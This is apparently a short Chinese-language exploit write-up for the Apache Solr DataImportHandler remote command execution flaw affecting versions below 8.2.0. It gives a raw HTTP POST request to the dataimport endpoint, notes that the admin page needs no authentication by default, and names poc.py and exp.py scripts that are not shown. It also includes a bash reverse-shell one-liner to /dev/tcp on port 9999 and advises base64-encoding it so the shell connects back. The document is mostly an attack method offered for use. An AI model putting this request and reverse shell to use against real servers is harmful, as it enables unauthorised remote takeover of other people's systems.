## 漏洞概述 此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。 它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。 由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行 ## 影响范围 ```http Solr < 8.2.0 ``` ## POC ```bash python poc.py ``` ## EXP 方法一 ```bash python3 exp.py ``` 方法二 访问`http://ip:8983/`Apache solr的管理页面,无需登录(默认未开启鉴权认证) ```http POST /solr/tika/dataimport HTTP/1.1 Host: solr.com:8983 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://solr.com:8983/solr/ Content-type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: 585 Connection: close command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig= ``` ```bash bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9999 0>&1 ``` 如直接如上写入反弹无反应,需要base64加密写才能反弹一个shell ## 漏洞分析 https://xz.aliyun.com/t/5965#toc-6